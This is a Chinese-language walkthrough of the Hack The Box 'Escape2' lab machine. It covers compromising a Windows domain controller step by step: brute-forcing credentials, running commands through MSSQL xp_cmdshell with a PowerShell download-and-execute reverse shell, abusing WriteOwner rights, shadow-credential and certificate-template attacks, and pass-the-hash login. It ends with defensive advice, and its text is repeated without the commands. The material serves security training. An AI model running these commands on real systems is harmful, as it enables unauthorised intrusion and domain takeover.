HTB-Escape2-WriteUp
字数 1205 2025-08-29 22:41:38

HTB Escape2 渗透测试详细教学文档

1. 初始信息收集与扫描

1.1 网络扫描

使用nmap进行初始扫描,发现开放的服务:

  • MSSQL (Microsoft SQL Server)
  • LDAP (轻量级目录访问协议)
nmap -sV -sC -p- 10.10.11.51

1.2 域名解析

根据扫描结果,添加域名解析到本地hosts文件:

10.10.11.51 sequel.htb DC01.sequel.htb

2. 凭证爆破与枚举

2.1 用户名爆破

使用提供的用户名和密码进行爆破:

crackmapexec mssql 10.10.11.51 -u users.txt -p passwords.txt

2.2 SMB共享枚举

将爆破得到的有效用户名加入user.txt,检查SMB共享服务:

smbclient -L //10.10.11.51 -U username

2.3 下载共享文件

发现共享文件后下载:

smbget -R smb://10.10.11.51/sharename -U username

3. MSSQL数据库利用

3.1 连接MSSQL

使用获得的凭证连接MSSQL:

sqsh -S 10.10.11.51 -U username -P password

3.2 命令执行

在MSSQL中执行系统命令:

EXEC xp_cmdshell 'whoami';

3.3 反弹Shell

通过MSSQL获取反向Shell:

EXEC xp_cmdshell 'powershell -c "IEX(New-Object Net.WebClient).DownloadString(''http://your-ip/shell.ps1'')"'

4. 横向移动

4.1 凭证收集

在系统中查找更多凭证:

findstr /si password *.txt *.xml *.config

4.2 使用新凭证枚举

使用新发现的凭证进行二次枚举:

crackmapexec smb 10.10.11.51 -u new_users.txt -p new_passwords.txt

4.3 WinRM访问

使用有效凭证通过WinRM登录:

evil-winrm -i 10.10.11.51 -u ryan -p 'WqSZAF6CysDQbGb3'

5. 权限提升

5.1 BloodHound信息收集

使用BloodHound收集域信息:

bloodhound-python -d sequel.htb -u ryan -p 'WqSZAF6CysDQbGb3' -ns 10.10.11.51 -c All

5.2 WriteOwner权限利用

发现ryan对ca_svc有WriteOwner权限,修改所有者:

pipx run bloodyAD --host DC01.sequel.htb -d sequel.htb -u ryan -p 'WqSZAF6CysDQbGb3' set owner ca_svc ryan

5.3 授予完全控制权限

使用impacket-dacledit授予完全控制权限:

impacket-dacledit -action write -rights FullControl -principal 'ryan' -target ca_svc sequel.htb/ryan:WqSZAF6CysDQbGb3

6. 证书攻击

6.1 时间同步

确保本地时间与目标服务器同步:

ntpdate 10.10.11.51

6.2 影子证书攻击

使用certipy-ad进行影子证书攻击:

pipx run certipy-ad shadow auto -u ryan@sequel.htb -p 'WqSZAF6CysDQbGb3' -dc-ip 10.10.11.51 -ns 10.10.11.51 -target DC01.sequel.htb -account ca_svc

设置Kerberos票据环境变量:

export KRB5CCNAME=ca_svc.ccache

6.3 查找易受攻击的证书模板

pipx run certipy-ad find -debug -stdout -vulnerable -scheme ldap -k -target DC01.sequel.htb -dc-ip 10.10.11.51

检查特定模板是否适用:

pipx run certipy-ad template -k -template DunderMifflinAuthentication -target DC01.sequel.htb -dc-ip 10.10.11.51

6.4 请求伪造证书

为域管理员请求伪造证书:

pipx run certipy-ad req -u ca_svc -hashes 3b181b914e7a9d5508ea1e20bc2b7fce -ca sequel-DC01-CA -target DC01.sequel.htb -dc-ip 10.10.11.51 -template DunderMifflinAuthentication -upn Administrator@sequel.htb -ns 10.10.11.51 -dns 10.10.11.51

6.5 使用伪造证书认证

pipx run certipy-ad auth -pfx ./administrator_10.pfx -dc-ip 10.10.11.51

7. 获取域管理员权限

7.1 使用evil-winrm登录

evil-winrm -i 10.10.11.51 -u Administrator -H [NTLM_HASH]

7.2 获取flag

在域控制器上查找flag文件:

type C:\Users\Administrator\Desktop\root.txt

工具清单

  1. 扫描与枚举工具:

    • nmap
    • crackmapexec
    • smbclient/smbget
  2. 数据库工具:

    • sqsh (MSSQL客户端)
  3. 横向移动工具:

    • evil-winrm
    • impacket工具集
  4. AD枚举与攻击工具:

    • BloodHound
    • bloodyAD
    • certipy-ad
  5. 其他工具:

    • pipx (Python应用运行器)
    • findstr (Windows命令)

关键点总结

  1. 初始访问:通过MSSQL命令执行获取初始立足点
  2. 凭证收集:从SMB共享和系统文件中收集更多凭证
  3. 权限提升:利用BloodHound识别WriteOwner权限路径
  4. 证书攻击:通过证书模板漏洞伪造域管理员证书
  5. 最终控制:使用伪造证书获取域管理员权限

防御建议

  1. 限制MSSQL的xp_cmdshell执行权限
  2. 定期审计AD证书模板配置
  3. 监控WriteOwner等敏感权限变更
  4. 实施SMB共享文件的严格访问控制
  5. 启用LDAP签名和加密
HTB Escape2 渗透测试详细教学文档 1. 初始信息收集与扫描 1.1 网络扫描 使用nmap进行初始扫描,发现开放的服务: MSSQL (Microsoft SQL Server) LDAP (轻量级目录访问协议) 1.2 域名解析 根据扫描结果,添加域名解析到本地hosts文件: 2. 凭证爆破与枚举 2.1 用户名爆破 使用提供的用户名和密码进行爆破: 2.2 SMB共享枚举 将爆破得到的有效用户名加入user.txt,检查SMB共享服务: 2.3 下载共享文件 发现共享文件后下载: 3. MSSQL数据库利用 3.1 连接MSSQL 使用获得的凭证连接MSSQL: 3.2 命令执行 在MSSQL中执行系统命令: 3.3 反弹Shell 通过MSSQL获取反向Shell: 4. 横向移动 4.1 凭证收集 在系统中查找更多凭证: 4.2 使用新凭证枚举 使用新发现的凭证进行二次枚举: 4.3 WinRM访问 使用有效凭证通过WinRM登录: 5. 权限提升 5.1 BloodHound信息收集 使用BloodHound收集域信息: 5.2 WriteOwner权限利用 发现ryan对ca_ svc有WriteOwner权限,修改所有者: 5.3 授予完全控制权限 使用impacket-dacledit授予完全控制权限: 6. 证书攻击 6.1 时间同步 确保本地时间与目标服务器同步: 6.2 影子证书攻击 使用certipy-ad进行影子证书攻击: 设置Kerberos票据环境变量: 6.3 查找易受攻击的证书模板 检查特定模板是否适用: 6.4 请求伪造证书 为域管理员请求伪造证书: 6.5 使用伪造证书认证 7. 获取域管理员权限 7.1 使用evil-winrm登录 7.2 获取flag 在域控制器上查找flag文件: 工具清单 扫描与枚举工具 : nmap crackmapexec smbclient/smbget 数据库工具 : sqsh (MSSQL客户端) 横向移动工具 : evil-winrm impacket工具集 AD枚举与攻击工具 : BloodHound bloodyAD certipy-ad 其他工具 : pipx (Python应用运行器) findstr (Windows命令) 关键点总结 初始访问 :通过MSSQL命令执行获取初始立足点 凭证收集 :从SMB共享和系统文件中收集更多凭证 权限提升 :利用BloodHound识别WriteOwner权限路径 证书攻击 :通过证书模板漏洞伪造域管理员证书 最终控制 :使用伪造证书获取域管理员权限 防御建议 限制MSSQL的xp_ cmdshell执行权限 定期审计AD证书模板配置 监控WriteOwner等敏感权限变更 实施SMB共享文件的严格访问控制 启用LDAP签名和加密